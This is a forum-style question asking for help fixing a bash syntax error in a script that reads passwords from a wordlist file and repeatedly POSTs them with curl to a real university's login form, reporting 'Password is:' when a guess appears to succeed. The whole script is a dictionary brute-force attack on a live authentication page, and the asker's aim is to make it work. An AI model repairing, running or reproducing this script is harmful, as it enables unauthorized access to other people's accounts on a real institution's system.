error syntax error: operand expected (error token is ""0"") on my code : i have a question about bash script. this is my code but i have an error when running it.please tell me what is problem and how i can fix it?

    #!/bin/bash
    clear
    old_IFS=$IFS
    IFS=$'\n'
    lines={$(cat dic.txt)}
    IFS=$old_IFS
    linesNum=${#lines[@]}
    i=0
    while [ $i -lt $linesNum ]
    do
    curl --silent --data '__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935255415" F80401="${lines[\"$i\"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=' https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
    if [ $check -eq '0' ]
    then
    echo " Password not found!"
    else
    echo " Password is: ${lines[\"$i\"]}"
    break
    fi
    ((i++))
    done

